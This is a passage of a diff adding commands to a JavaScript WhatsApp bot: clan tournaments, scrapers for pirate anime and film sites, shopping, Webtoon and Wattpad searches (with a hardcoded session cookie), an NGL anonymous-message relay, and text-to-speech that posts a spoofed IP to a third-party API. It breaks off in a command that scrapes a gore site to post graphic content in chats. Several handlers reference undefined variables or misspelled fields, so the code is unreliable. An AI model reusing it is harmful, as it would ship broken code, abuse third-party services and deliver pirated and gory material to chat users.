joinTournament.participants.push(joinUserClan.clan); + writeClans(clans); + await m.reply( + `Clan ${joinUserClan.clan} has been successfully registered for the ${currentTournamentName} tournament.`, + ); + break; + + case "start": + let startTournamentName = clans.currentTournament; + if (!startTournamentName) + return m.reply("No tournament is currently ongoing."); + + let startTournament = clans.tournaments[startTournamentName]; + + if (startTournament.status !== "pending") + return m.reply("The tournament has already started or ended."); + + if ( + startTournament.participants.length < 2 || + startTournament.participants.length % 2 !== 0 + ) { + return m.reply( + "The number of tournament participants must be even and at least 2 clans to start.", + ); + } + + startTournament.participants = + startTournament.participants.sort( + () => Math.random() - 0.5, + ); + + while (startTournament.participants.length > 1) { + for ( + let i = 0; + i < startTournament.participants.length; + i += 2 + ) { + if (startTournament.participants[i + 1]) { + startTournament.matches.push({ + clan1: startTournament.participants[i], + clan2: startTournament.participants[i + 1], + status: "pending", + }); + } + } + startTournament.participants = + startTournament.participants.filter( + (_, index) => index % 2 === 0, + ); + } + + startTournament.status = "ongoing"; + clans.currentTournament = startTournamentName; + writeClans(clans); + + await m.reply(`Tournament ${startTournamentName} has started!`); + + startNextMatch(startTournament); + break; + + case "status": + let statusTournamentName = clans.currentTournament; + if (!statusTournamentName) + return m.reply("No tournament is currently ongoing."); + + let statusTournament = + clans.tournaments[statusTournamentName]; + + let statusText = `*Tournament Status ${statusTournamentName}:*\n\n`; + statusText += `Status: ${statusTournament.status}\n`; + statusText += `Participants: ${statusTournament.participants.join(", ")}\n\n`; + statusText += `Match List:\n`; + statusTournament.matches.forEach((match, index) => { + statusText += `${index + 1}. ${match.clan1} vs ${match.clan2} - ${match.status === "completed" ? "Completed" : "Pending"}\n`; + }); + + await m.reply(statusText.trim()); + break; + + default: + await m.reply( + "Invalid tournament command. Use create, join, start, or status.", + ); + break; + } + break; + +default: + await m.reply( + "Unknown command. Please use create, join, approve, war, list, leave, delete, member, missions, task, upgrade, or tournament.", + ); + break; +} +} +break; +case 'q': case 'quoted': { +if (!m.quoted) return reply('Reply the Message!!') +let Lorenzoquotx = await David.serializeM(await m.getQuotedObj()) +if (!Lorenzoquotx.quoted) return reply('The message you are replying to is not sent by the bot') +await Lorenzoquotx.quoted.copyNForward(m.chat, true) +} +break + +case 'kiryuu': { +async function skiryu(query) { + return new Promise((resolve, reject) => { + axios.get('https://kiryuu.id/?s=' + query) + .then(({ + data + }) => { + const $ = cheerio.load(data) + const result = []; + const linkk = []; + const judull = []; + const thumb = []; + const rating = []; + $('div.bsx > a').each(function(a, b) { + linkk.push($(b).attr('href')) + judull.push($(b).attr('title')) + thumb.push($(b).find('img').attr('src').split('?resize')[0]) + }) + $('div.rating > div.numscore').each(function(c, d) { + let rate = $(d).text(); + rating.push(rate) + }) + for (let i = 0; i < linkk.length; i++) { + result.push({ + Title: judull[i], + rating: rating[i], + thumb: thumb[i], + link: linkk[i] + }) + } + resolve(result) + }) + .catch(reject) + }) +} +if (!text) return m.reply('```Enter the anime you want to search for!!\n```') +m.reply(mess.wait) +let results = await skiryu(text) +//wm senn +if (results.length > 0) { +let message = `Search results for <${text}>\n\n`; +//wm senn +results.forEach((result, index) => { +message += `*${index + 1}.* *Title:* ${result.judul}\n*Rating:* ${anime.rating}\n*Link:* ${anime.link}\n\n\n`; + }); +//wm senn +David.sendMessage(m.chat, { image: { url: results[0].thumb}, caption: message }, { quoted: m }) +//wm senn + } else { +m.reply('The anime you provided does not exist..'); +} +} +break +case '9anime': { +if (!q) return m.reply(`_anime name?_`) +const axios = require('axios'); +const cheerio = require('cheerio'); +// wm avz +async function AvoskyZV(keyword, m) { + try { +// wm avz + const searchUrl = `https://9animetv.to/search?keyword=${encodeURIComponent(keyword)}`; +// wm avz + const { data } = await axios.get(searchUrl); + const $ = cheerio.load(data); +// wm avz + const animeList = []; + // wm avz + $('.flw-item').each((index, element) => { + const titleElement = $(element).find('.film-name a'); + const title = titleElement.text().trim(); + const link = titleElement.attr('href'); +// wm avz + const imageUrl = $(element).find('.film-poster-img').attr('data-src'); + animeList.push({ + title, + link: `https://9animetv.to${link}`, + imageUrl + }); + }); +// wm avz + if (animeList.length > 0) { +// wm avz + let AvoskyZ = `Hasil pencarian untuk '${keyword}':\n\n`; + animeList.forEach(anime => { + AvoskyZ += `*Title:* ${anime.title}\n`; + AvoskyZ += `*Link:* ${anime.link}\n`; + AvoskyZ += `*Image URL:* ${anime.imageUrl}\n\n`; + }); + m.reply(AvoskyZ); + } else { + m.reply(`Anime with search '${keyword}' not found`); + } +// wm avz + } catch (error) { + console.error('Error:', error); + m.reply('Error Occurred Again.'); + } +} +AvoskyZV(`${encodeURIComponent(text)}`, m); +} +break + +case 'bukalapak':{ +//wm senn +async function BukaLapak(search) { + return new Promise(async (resolve, reject) => { + try { + const { data } = await axios.get(`https://www.bukalapak.com/products?from=omnisearch&from_keyword_history=false&search[keywords]=${search}&search_source=omnisearch_keyword&source=navbar`, { + headers: { + "user-agent": 'Mozilla/ 5.0(Windows NT 10.0; Win64; x64; rv: 108.0) Gecko / 20100101 Firefox / 108.0' + } + }) +//wm senn + const $ = cheerio.load(data); + const dat = []; + const b = $('a.slide > img').attr('src'); + $('div.bl-flex-item.mb-8').each((i, u) => { + const a = $(u).find('observer-tracker > div > div'); +//wm senn + const img = $(a).find('div > a > img').attr('src'); + if (typeof img === 'undefined') return + + const link = $(a).find('.bl-thumbnail--slider > div > a').attr('href'); +//wm senn + const title = $(a).find('.bl-product-card__description-name > p > a').text().trim(); + const harga = $(a).find('div.bl-product-card__description-price > p').text().trim(); +//wm senn + const rating = $(a).find('div.bl-product-card__description-rating > p').text().trim(); + const terjual = $(a).find('div.bl-product-card__description-rating-and-sold > p').text().trim(); +//wm senn +//wm senn + const dari = $(a).find('div.bl-product-card__description-store > span:nth-child(1)').text().trim(); + const seller = $(a).find('div.bl-product-card__description-store > span > a').text().trim(); +//wm senn + const link_sel = $(a).find('div.bl-product-card__description-store > span > a').attr('href'); +//wm senn +//wm senn + const res_ = { + title: title, + rating: rating ? rating : 'No rating yet', + terjual: terjual ? terjual : 'Not yet bought', + harga: harga, + image: img, + link: link, + store: { + lokasi: dari, + nama: seller, + link: link_sel + } + }; + + dat.push(res_); + }) +//wm senn + if (dat.every(x => x === undefined)) return resolve({ developer: '@xorizn', mess: 'no result found' }) + resolve(dat) + } catch (err) { +//wm senn + console.error(err) + } + }) +} +//wm senn +if (!text) return m.reply('```Enter the name of the item you want to search for.!!\n```') +m.reply(mess.wait) +let results = await BukaLapak(text) +//wm senn +if (results.length > 0) { +let message = `Search results for <${text}>\n\n`; +//wm senn +results.forEach((result, index) => { +message += `*${index + 1}.* *${result.title}*\nSold : ${result.harga}\nRating : ${result.rating}\nStore : ${result.store.nama}\nLokasi : ${result.store.lokasi}\nTerjual : ${result.terjual}\nLink : ${result.link}\n\n`; + }); +//wm senn +David.sendMessage(m.chat, { image: { url: results[0].image}, caption: message }, { quoted: m }) +//wm senn + } else { +m.reply('The item name you provided does not exist.'); +} +//wm senn +} +break + +case 'webtoon':{ +async function webtoons(query) { +//wm senn + return new Promise((resolve, reject) => { + axios.get(`https://www.webtoons.com/id/search?keyword=${query}`) +//wm senn + .then(({ + data + }) => { + const $ = cheerio.load(data) + const hasil = []; + $('#content > div.card_wrap.search._searchResult > ul > li ').each(function(a, b) { +//wm senn + result = { + status: 200, + author: author, + Title: $(b).find('> a > div > p.subj').text(), +//wm senn + like: $(b).find('> a > div > p.grade_area > em').text(), + creator: $(b).find('> a > div > p.author').text(), + genre: $(b).find('> a > span').text(), +//wm senn + thumbnail: $(b).find('> a > img').attr('src'), + url: $(b).find('> a').attr('href') + } +//wm senn + hasil.push(result) + }) +//wm senn + resolve(hasil) + }) + .catch(reject) + }) +} +//wm senn +if (!text) return m.reply('Enter the title you want to search for!!\nExample: .webtoon lookism'); +let results = await webtoons(text) +if (results.length > 0) { +//wm senn +let message = `Results of the search ${text} :\n\n`; +results.forEach((result, index) => { +message += `Title : ${result.judul}\nLike : ${result.like}\nCreator : ${result.creator}\nGenre : ${result.genre}\nLink Baca : ${result.url}\n\n`; + }); +//wm senn +m.reply(message) + } else { +m.reply('No result.'); +} +//wm senn +} +break + +case 'lk21': { + const query = m.body.slice(5).trim(); + if (!query) { + return m.reply("Please enter the title of the movie you want to search for.."); + } +// wm avz + async function avzzzz(query) { + try { + const response = await axios.get(`https://tv.lk21official.my/search.php?s=${query}`); + const html = response.data; + const $ = cheerio.load(html); + let results = []; +// wm avz + $('.search-item').each((index, element) => { + const title = $(element).find('h3 a').text().trim(); + const url = 'https://tv.lk21official.my' + $(element).find('h3 a').attr('href'); + const director = $(element).find('p strong:contains("Sutradara:")').parent().text().replace("Sutradara:", "").trim(); + const cast = $(element).find('p strong:contains("Bintang:")').parent().text().replace("Bintang:", "").trim(); +// wm avz + results.push({ + title, + url, + director, + cast + }); + }); +// wm avz + return results; + } catch (error) { + console.error(error); + return []; + } + } +// wm avz + const results = await avzzzz(query); + if (results.length === 0) { + return m.reply("No results found for your search: " + query); + } +// wm avz + let message = "Search results for: *" + query + "*\n\n"; + results.forEach((result) => { + message += `Title: ${result.title}\n`; + if (result.director) { + message += `Director: ${result.director}\n`; + } + if (result.cast) { + message += `Bintang: ${result.cast}\n`; + } + message += `Url: ${result.url}\n\n`; + }); +// wm avz + m.reply(message); +} +break + +case 'cita-cita':{ + let res = await fetch( + "https://raw.githubusercontent.com/BadXyz/txt/main/citacita/citacita.json", + ); + let json = await res.json(); + let ngawi = pickRandom(json) + // Assuming fsizedoc is supposed to be a variable with the desired value + let fsizedoc = 10; // Replace 10 with the actual value you want + + await David.sendMessage( + m.chat, + { + audio: { url: ngawi }, + seconds: fsizedoc, + ptt: true, + mimetype: "audio/mpeg", + fileName: "vn.mp3", + waveform: [100, 0, 100, 0, 100, 0, 100], + }, + { quoted: m }, + ); +}; +break + +case 'ngl': { + if (!text || !text.includes('|')) { + return reply(`*Usage:* .ngl |\n\n*Example:* .ngl davidcyril11|Hello there!`); + } + + try { + // Parse the username and message + const [username, message] = text.split('|').map(t => t.trim()); + + if (!username || !message) { + return reply(`*Usage:* .ngl |\n\n*Example:* .ngl davidcyril11|Hello there!`); + } + + // Construct the NGL link using the username + const nglLink = `https://ngl.link/${username}`; + + // Call the NGL API + const apiResponse = await axios.get(`https://api.siputzx.my.id/api/tools/ngl`, { + params: { link: nglLink, text: message } + }); + + // Check API response + if (apiResponse.status === 200 && apiResponse.data.status) { + reply(`✅ *Message Sent Successfully!*\n\n📩 Message: "${message}"\n🔗 NGL Username: ${username}`); + } else { + reply(`❌ *Failed to send the message.* Please try again.`); + } + } catch (error) { + console.error('Error in NGL command:', error); + reply(`*AN ERROR OCCURRED!! MESSAGE :*\n\n> ${error.message}`); + } + break; +} + + + +case 'wattpad':{ +//wm senn +async function WattPad(judul) { + return new Promise(async (resolve, reject) => { + try { +//wm senn + const { data } = await axios.get('https://www.wattpad.com/search/' + judul, { + headers: { + cookie: 'wp_id=d92aecaa-7822-4f56-b189-f8c4cc32825c; sn__time=j%3Anull; fs__exp=1; adMetrics=0; _pbkvid05_=0; _pbeb_=0; _nrta50_=0; lang=20; locale=id_ID; ff=1; dpr=1; tz=-8; te_session_id=1681636962513; _ga_FNDTZ0MZDQ=GS1.1.1681636962.1.1.1681637905.0.0.0; _ga=GA1.1.1642362362.1681636963; signupFrom=search; g_state={"i_p":1681644176441,"i_l":1}; RT=r=https%3A%2F%2Fwww.wattpad.com%2Fsearch%2Fanime&ul=1681637915624', + 'suer-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0' + } +//wm senn + }), + $ = cheerio.load(data), + limk = 'https://www.wattpad.com', + _data = []; +//wm senn + $('.story-card-container > ul.list-group.new-list-group > li.list-group-item').each(function (i, u) { + let link = limk + $(u).find('a').attr('href') +//wm senn + let judul = $(u).find('a > div > div.story-info > div.title').text().trim() + let img = $(u).find('a > div > div.cover > img').attr('src') + let desc = $(u).find('a > div > div.story-info > .description').text().replace(/\s+/g, ' ') +//wm senn + let _doto = [] + $(u).find('a > div > div.story-info > .new-story-stats > .stats-item').each((u, i) => { + _doto.push($(i).find('.icon-container > .tool-tip > .sr-only').text()) + }) +//wm senn + _data.push({ + title: judul, + thumb: img, + desc: desc, + reads: _doto[0], + vote: _doto[1], + chapter: _doto[2], + link: link, + }) + }) +//wm senn + resolve(_data) + } catch (err) { + console.error(err) + } + }) +} +//wm senn +if (!text) return m.reply('Enter the title you want to search for!!\nExample: .wattpad matchmaking') +//wm senn +let results = await WattPad(text) +//wm senn +if (results.length > 0) { +let message = `Results of the search ${text} :\n\n`; +results.forEach((result, index) => { +message += `Title : ${result.title}\nChapter : ${result.chapter}\nVote : ${result.vote}\nTotal Reader : ${result.reads}\nDesc : ${result.desc}\nLink Baca : ${result.link}\n\n`; + }); +//wm senn + David.sendMessage(m.chat, {image: {url: result[0].thumb}, caption: message}, {quoted: m}) +//wm senn + } else { +m.reply('No result.'); +} +//wm senn +} +break + case 'tts': + case 'text2speech': { + function ListVoiceArray(array) { + const modifiedArray = array.map(item => { + const modifiedName = item.replace(/(.+)-(.+)-(.+)Neural/, "$3 ($1-$2)"); + const language = item.split('-')[0]; + return `${modifiedName} ( ${language} )`; + }); + + return modifiedArray; +} + + let ListVoice = [ + "af-ZA-AdriNeural", + "af-ZA-WillemNeural", + "am-ET-AmehaNeural", + "am-ET-MekdesNeural", + "ar-AE-FatimaNeural", + "ar-AE-HamdanNeural", + "ar-BH-AliNeural", + "ar-BH-LailaNeural", + "ar-DZ-AminaNeural", + "ar-DZ-IsmaelNeural", + "ar-EG-SalmaNeural", + "ar-EG-ShakirNeural", + "ar-IQ-BasselNeural", + "ar-IQ-RanaNeural", + "ar-JO-SanaNeural", + "ar-JO-TaimNeural", + "ar-KW-FahedNeural", + "ar-KW-NouraNeural", + "ar-LB-LaylaNeural", + "ar-LB-RamiNeural", + "ar-LY-ImanNeural", + "ar-LY-OmarNeural", + "ar-MA-JamalNeural", + "ar-MA-MounaNeural", + "ar-OM-AbdullahNeural", + "ar-OM-AyshaNeural", + "ar-QA-AmalNeural", + "ar-QA-MoazNeural", + "ar-SA-HamedNeural", + "ar-SA-ZariyahNeural", + "ar-SY-AmanyNeural", + "ar-SY-LaithNeural", + "ar-TN-HediNeural", + "ar-TN-ReemNeural", + "ar-YE-MaryamNeural", + "ar-YE-SalehNeural", + "az-AZ-BabekNeural", + "az-AZ-BanuNeural", + "bg-BG-BorislavNeural", + "bg-BG-KalinaNeural", + "bn-BD-NabanitaNeural", + "bn-BD-PradeepNeural", + "bn-IN-BashkarNeural", + "bn-IN-TanishaaNeural", + "bs-BA-GoranNeural", + "bs-BA-VesnaNeural", + "ca-ES-AlbaNeural", + "ca-ES-EnricNeural", + "ca-ES-JoanaNeural", + "cs-CZ-AntoninNeural", + "cs-CZ-VlastaNeural", + "cy-GB-AledNeural", + "cy-GB-NiaNeural", + "da-DK-ChristelNeural", + "da-DK-JeppeNeural", + "de-AT-IngridNeural", + "de-AT-JonasNeural", + "de-CH-JanNeural", + "de-CH-LeniNeural", + "de-DE-AmalaNeural", + "de-DE-BerndNeural", + "de-DE-ChristophNeural", + "de-DE-ConradNeural", + "de-DE-ElkeNeural", + "de-DE-GiselaNeural", + "de-DE-KasperNeural", + "de-DE-KatjaNeural", + "de-DE-KillianNeural", + "de-DE-KlarissaNeural", + "de-DE-KlausNeural", + "de-DE-LouisaNeural", + "de-DE-MajaNeural", + "de-DE-RalfNeural", + "de-DE-TanjaNeural", + "el-GR-AthinaNeural", + "el-GR-NestorasNeural", + "en-AU-AnnetteNeural", + "en-AU-CarlyNeural", + "en-AU-DarrenNeural", + "en-AU-DuncanNeural", + "en-AU-ElsieNeural", + "en-AU-FreyaNeural", + "en-AU-JoanneNeural", + "en-AU-KenNeural", + "en-AU-KimNeural", + "en-AU-NatashaNeural", + "en-AU-NeilNeural", + "en-AU-TimNeural", + "en-AU-TinaNeural", + "en-AU-WilliamNeural", + "en-CA-ClaraNeural", + "en-CA-LiamNeural", + "en-GB-AbbiNeural", + "en-GB-AlfieNeural", + "en-GB-BellaNeural", + "en-GB-ElliotNeural", + "en-GB-EthanNeural", + "en-GB-HollieNeural", + "en-GB-LibbyNeural", + "en-GB-MaisieNeural", + "en-GB-MiaNeural", + "en-GB-NoahNeural", + "en-GB-OliverNeural", + "en-GB-OliviaNeural", + "en-GB-RyanNeural", + "en-GB-SoniaNeural", + "en-GB-ThomasNeural", + "en-HK-SamNeural", + "en-HK-YanNeural", + "en-IE-ConnorNeural", + "en-IE-EmilyNeural", + "en-IN-NeerjaNeural", + "en-IN-PrabhatNeural", + "en-KE-AsiliaNeural", + "en-KE-ChilembaNeural", + "en-NG-AbeoNeural", + "en-NG-EzinneNeural", + "en-NZ-MitchellNeural", + "en-NZ-MollyNeural", + "en-PH-JamesNeural", + "en-PH-RosaNeural", + "en-SG-LunaNeural", + "en-SG-WayneNeural", + "en-TZ-ElimuNeural", + "en-TZ-ImaniNeural", + "en-US-AIGenerate1Neural", + "en-US-AIGenerate2Neural", + "en-US-AmberNeural", + "en-US-AnaNeural", + "en-US-AriaNeural", + "en-US-AshleyNeural", + "en-US-BlueNeural", + "en-US-BrandonNeural", + "en-US-ChristopherNeural", + "en-US-CoraNeural", + "en-US-DavisNeural", + "en-US-ElizabethNeural", + "en-US-EricNeural", + "en-US-GuyNeural", + "en-US-JacobNeural", + "en-US-JaneNeural", + "en-US-JasonNeural", + "en-US-JennyMultilingualNeural", + "en-US-JennyMultilingualV2Neural", + "en-US-JennyNeural", + "en-US-MichelleNeural", + "en-US-MonicaNeural", + "en-US-NancyNeural", + "en-US-RogerNeural", + "en-US-RyanMultilingualNeural", + "en-US-SaraNeural", + "en-US-SteffanNeural", + "en-US-TonyNeural", + "en-ZA-LeahNeural", + "en-ZA-LukeNeural", + "es-AR-ElenaNeural", + "es-AR-TomasNeural", + "es-BO-MarceloNeural", + "es-BO-SofiaNeural", + "es-CL-CatalinaNeural", + "es-CL-LorenzoNeural", + "es-CO-GonzaloNeural", + "es-CO-SalomeNeural", + "es-CR-JuanNeural", + "es-CR-MariaNeural", + "es-CU-BelkysNeural", + "es-CU-ManuelNeural", + "es-DO-EmilioNeural", + "es-DO-RamonaNeural", + "es-EC-AndreaNeural", + "es-EC-LuisNeural", + "es-ES-AbrilNeural", + "es-ES-AlvaroNeural", + "es-ES-ArnauNeural", + "es-ES-DarioNeural", + "es-ES-EliasNeural", + "es-ES-ElviraNeural", + "es-ES-EstrellaNeural", + "es-ES-IreneNeural", + "es-ES-LaiaNeural", + "es-ES-LiaNeural", + "es-ES-NilNeural", + "es-ES-SaulNeural", + "es-ES-TeoNeural", + "es-ES-TrianaNeural", + "es-ES-VeraNeural", + "es-GQ-JavierNeural", + "es-GQ-TeresaNeural", + "es-GT-AndresNeural", + "es-GT-MartaNeural", + "es-HN-CarlosNeural", + "es-HN-KarlaNeural", + "es-MX-BeatrizNeural", + "es-MX-CandelaNeural", + "es-MX-CarlotaNeural", + "es-MX-CecilioNeural", + "es-MX-DaliaNeural", + "es-MX-GerardoNeural", + "es-MX-JorgeNeural", + "es-MX-LarissaNeural", + "es-MX-LibertoNeural", + "es-MX-LucianoNeural", + "es-MX-MarinaNeural", + "es-MX-NuriaNeural", + "es-MX-PelayoNeural", + "es-MX-RenataNeural", + "es-MX-YagoNeural", + "es-NI-FedericoNeural", + "es-NI-YolandaNeural", + "es-PA-MargaritaNeural", + "es-PA-RobertoNeural", + "es-PE-AlexNeural", + "es-PE-CamilaNeural", + "es-PR-KarinaNeural", + "es-PR-VictorNeural", + "es-PY-MarioNeural", + "es-PY-TaniaNeural", + "es-SV-LorenaNeural", + "es-SV-RodrigoNeural", + "es-US-AlonsoNeural", + "es-US-PalomaNeural", + "es-UY-MateoNeural", + "es-UY-ValentinaNeural", + "es-VE-PaolaNeural", + "es-VE-SebastianNeural", + "et-EE-AnuNeural", + "et-EE-KertNeural", + "eu-ES-AinhoaNeural", + "eu-ES-AnderNeural", + "fa-IR-DilaraNeural", + "fa-IR-FaridNeural", + "fi-FI-HarriNeural", + "fi-FI-NooraNeural", + "fi-FI-SelmaNeural", + "fil-PH-AngeloNeural", + "fil-PH-BlessicaNeural", + "fr-BE-CharlineNeural", + "fr-BE-GerardNeural", + "fr-CA-AntoineNeural", + "fr-CA-JeanNeural", + "fr-CA-SylvieNeural", + "fr-CH-ArianeNeural", + "fr-CH-FabriceNeural", + "fr-FR-AlainNeural", + "fr-FR-BrigitteNeural", + "fr-FR-CelesteNeural", + "fr-FR-ClaudeNeural", + "fr-FR-CoralieNeural", + "fr-FR-DeniseNeural", + "fr-FR-EloiseNeural", + "fr-FR-HenriNeural", + "fr-FR-JacquelineNeural", + "fr-FR-JeromeNeural", + "fr-FR-JosephineNeural", + "fr-FR-MauriceNeural", + "fr-FR-YvesNeural", + "fr-FR-YvetteNeural", + "ga-IE-ColmNeural", + "ga-IE-OrlaNeural", + "gl-ES-RoiNeural", + "gl-ES-SabelaNeural", + "gu-IN-DhwaniNeural", + "gu-IN-NiranjanNeural", + "he-IL-AvriNeural", + "he-IL-HilaNeural", + "hi-IN-MadhurNeural", + "hi-IN-SwaraNeural", + "hr-HR-GabrijelaNeural", + "hr-HR-SreckoNeural", + "hu-HU-NoemiNeural", + "hu-HU-TamasNeural", + "hy-AM-AnahitNeural", + "hy-AM-HaykNeural", + "id-ID-ArdiNeural", + "id-ID-GadisNeural", + "is-IS-GudrunNeural", + "is-IS-GunnarNeural", + "it-IT-BenignoNeural", + "it-IT-CalimeroNeural", + "it-IT-CataldoNeural", + "it-IT-DiegoNeural", + "it-IT-ElsaNeural", + "it-IT-FabiolaNeural", + "it-IT-FiammaNeural", + "it-IT-GianniNeural", + "it-IT-ImeldaNeural", + "it-IT-IrmaNeural", + "it-IT-IsabellaNeural", + "it-IT-LisandroNeural", + "it-IT-PalmiraNeural", + "it-IT-PierinaNeural", + "it-IT-RinaldoNeural", + "ja-JP-AoiNeural", + "ja-JP-DaichiNeural", + "ja-JP-KeitaNeural", + "ja-JP-MayuNeural", + "ja-JP-NanamiNeural", + "ja-JP-NaokiNeural", + "ja-JP-ShioriNeural", + "jv-ID-DimasNeural", + "jv-ID-SitiNeural", + "ka-GE-EkaNeural", + "ka-GE-GiorgiNeural", + "kk-KZ-AigulNeural", + "kk-KZ-DauletNeural", + "km-KH-PisethNeural", + "km-KH-SreymomNeural", + "kn-IN-GaganNeural", + "kn-IN-SapnaNeural", + "ko-KR-BongJinNeural", + "ko-KR-GookMinNeural", + "ko-KR-InJoonNeural", + "ko-KR-JiMinNeural", + "ko-KR-SeoHyeonNeural", + "ko-KR-SoonBokNeural", + "ko-KR-SunHiNeural", + "ko-KR-YuJinNeural", + "lo-LA-ChanthavongNeural", + "lo-LA-KeomanyNeural", + "lt-LT-LeonasNeural", + "lt-LT-OnaNeural", + "lv-LV-EveritaNeural", + "lv-LV-NilsNeural", + "mk-MK-AleksandarNeural", + "mk-MK-MarijaNeural", + "ml-IN-MidhunNeural", + "ml-IN-SobhanaNeural", + "mn-MN-BataaNeural", + "mn-MN-YesuiNeural", + "mr-IN-AarohiNeural", + "mr-IN-ManoharNeural", + "ms-MY-OsmanNeural", + "ms-MY-YasminNeural", + "mt-MT-GraceNeural", + "mt-MT-JosephNeural", + "my-MM-NilarNeural", + "my-MM-ThihaNeural", + "nb-NO-FinnNeural", + "nb-NO-IselinNeural", + "nb-NO-PernilleNeural", + "ne-NP-HemkalaNeural", + "ne-NP-SagarNeural", + "nl-BE-ArnaudNeural", + "nl-BE-DenaNeural", + "nl-NL-ColetteNeural", + "nl-NL-FennaNeural", + "nl-NL-MaartenNeural", + "pl-PL-AgnieszkaNeural", + "pl-PL-MarekNeural", + "pl-PL-ZofiaNeural", + "ps-AF-GulNawazNeural", + "ps-AF-LatifaNeural", + "pt-BR-AntonioNeural", + "pt-BR-BrendaNeural", + "pt-BR-DonatoNeural", + "pt-BR-ElzaNeural", + "pt-BR-FabioNeural", + "pt-BR-FranciscaNeural", + "pt-BR-GiovannaNeural", + "pt-BR-HumbertoNeural", + "pt-BR-JulioNeural", + "pt-BR-LeilaNeural", + "pt-BR-LeticiaNeural", + "pt-BR-ManuelaNeural", + "pt-BR-NicolauNeural", + "pt-BR-ValerioNeural", + "pt-BR-YaraNeural", + "pt-PT-DuarteNeural", + "pt-PT-FernandaNeural", + "pt-PT-RaquelNeural", + "ro-RO-AlinaNeural", + "ro-RO-EmilNeural", + "ru-RU-DariyaNeural", + "ru-RU-DmitryNeural", + "ru-RU-SvetlanaNeural", + "si-LK-SameeraNeural", + "si-LK-ThiliniNeural", + "sk-SK-LukasNeural", + "sk-SK-ViktoriaNeural", + "sl-SI-PetraNeural", + "sl-SI-RokNeural", + "so-SO-MuuseNeural", + "so-SO-UbaxNeural", + "sq-AL-AnilaNeural", + "sq-AL-IlirNeural", + "sr-Latn-RS-NicholasNeural", + "sr-Latn-RS-SophieNeural", + "sr-RS-NicholasNeural", + "sr-RS-SophieNeural", + "su-ID-JajangNeural", + "su-ID-TutiNeural", + "sv-SE-HilleviNeural", + "sv-SE-MattiasNeural", + "sv-SE-SofieNeural", + "sw-KE-RafikiNeural", + "sw-KE-ZuriNeural", + "sw-TZ-DaudiNeural", + "sw-TZ-RehemaNeural", + "ta-IN-PallaviNeural", + "ta-IN-ValluvarNeural", + "ta-LK-KumarNeural", + "ta-LK-SaranyaNeural", + "ta-MY-KaniNeural", + "ta-MY-SuryaNeural", + "ta-SG-AnbuNeural", + "ta-SG-VenbaNeural", + "te-IN-MohanNeural", + "te-IN-ShrutiNeural", + "th-TH-AcharaNeural", + "th-TH-NiwatNeural", + "th-TH-PremwadeeNeural", + "tr-TR-AhmetNeural", + "tr-TR-EmelNeural", + "uk-UA-OstapNeural", + "uk-UA-PolinaNeural", + "ur-IN-GulNeural", + "ur-IN-SalmanNeural", + "ur-PK-AsadNeural", + "ur-PK-UzmaNeural", + "uz-UZ-MadinaNeural", + "uz-UZ-SardorNeural", + "vi-VN-HoaiMyNeural", + "vi-VN-NamMinhNeural", + "wuu-CN-XiaotongNeural", + "wuu-CN-YunzheNeural", + "yue-CN-XiaoMinNeural", + "yue-CN-YunSongNeural", + "zh-CN-XiaochenNeural", + "zh-CN-XiaohanNeural", + "zh-CN-XiaomengNeural", + "zh-CN-XiaomoNeural", + "zh-CN-XiaoqiuNeural", + "zh-CN-XiaoruiNeural", + "zh-CN-XiaoshuangNeural", + "zh-CN-XiaoxiaoNeural", + "zh-CN-XiaoxuanNeural", + "zh-CN-XiaoyanNeural", + "zh-CN-XiaoyiNeural", + "zh-CN-XiaoyouNeural", + "zh-CN-XiaozhenNeural", + "zh-CN-YunfengNeural", + "zh-CN-YunhaoNeural", + "zh-CN-YunjianNeural", + "zh-CN-YunxiNeural", + "zh-CN-YunxiaNeural", + "zh-CN-YunyangNeural", + "zh-CN-YunyeNeural", + "zh-CN-YunzeNeural", + "zh-CN-henan-YundengNeural", + "zh-CN-liaoning-XiaobeiNeural", + "zh-CN-shaanxi-XiaoniNeural", + "zh-CN-shandong-YunxiangNeural", + "zh-CN-sichuan-YunxiNeural", + "zh-HK-HiuGaaiNeural", + "zh-HK-HiuMaanNeural", + "zh-HK-WanLungNeural", + "zh-TW-HsiaoChenNeural", + "zh-TW-HsiaoYuNeural", + "zh-TW-YunJheNeural", + "zu-ZA-ThandoNeural", + "zu-ZA-ThembaNeural" + ] + let lister = ListVoiceArray(ListVoice) + let readMore = String.fromCharCode(8206).repeat(4001); + + let query = `Input query!\n\n*Example:*\n${prefix + command} *108 | My Name Is Queen Anita*\n\n` + readMore + lister.map((v, index) => " " + (index + 1) + ". " + v).join("\n"); + + function getParts(array, index) { + if (isNaN(index)) { + index = Number(index); + if (isNaN(index)) { + return "Index must be a number"; + } + } + + const text = array[index - 1]; + const language = getLanguage(text); + return { + short: language, + long: text + }; +} + +function getLanguage(text) { + const parts = text.split("-"); + return parts.slice(0, 2).join("-"); +} + +async function generateVoice(Locale = "id-ID", Voice = "id-ID-ArdiNeural", Query) { + const formData = new FormData(); + formData.append("locale", Locale); + formData.append("content", `${Query}`); + formData.append("ip", '46.161.194.33'); + const response = await fetch('https://app.micmonster.com/restapi/create', { + method: 'POST', + body: formData + }); + return Buffer.from(('data:audio/mpeg;base64,' + await response.text()).split(',')[1], 'base64'); +}; + + let text + if (args.length >= 1) { + text = args.slice(0).join(" ") + } else if (m.quoted && m.quoted.text) { + text = m.quoted.text + } else return m.reply(query) + let [atas, bawah] = text.split("|") + if (!atas) return m.reply(query) + if (!bawah) return m.reply(query) + const { + short, + long + } = getParts(ListVoice, atas); + await m.reply(`Please Wait` + "\n" + long.replace(/(.+)-(.+)-(.+)Neural/, "$3 ($1-$2)")) + + try { + let res = await generateVoice(short, long, bawah) + if (res) await David.sendMessage(m.chat, { + audio: res, + mimetype: 'audio/mp4', + ptt: true, + waveform: [100, 0, 100, 0, 100, 0, 100] + }, { + quoted: m + }) + } catch (e) { + await m.reply(e) + } +} +break + + + + + case 'randomgore': { +function gore() { + return new Promise((resolve, reject) => { + const page = Math.floor(Math.random() * 228) + axios.get('https://seegore.com/gore/page/' + page) + .then((res) => { + const $ = cheerio.load(res.data) + const link = []; + $('ul > li > article').each(function(a, b) { + link.push({ + title: $(b).find('div.content > header > h2').text(), + link: $(b).find('div.post-thumbnail > a').attr('href'), + thumb: $(b).find('div.post-thumbnail > a > div > img').attr('src'), + view: $(b).find('div.post-thumbnail > div.post-meta.bb-post-meta.post-meta-bg > span.post-meta-item.post-views').text(), + vote: $(b).find('div.post-thumbnail > div.post-meta.bb-post-meta.post-meta-bg > 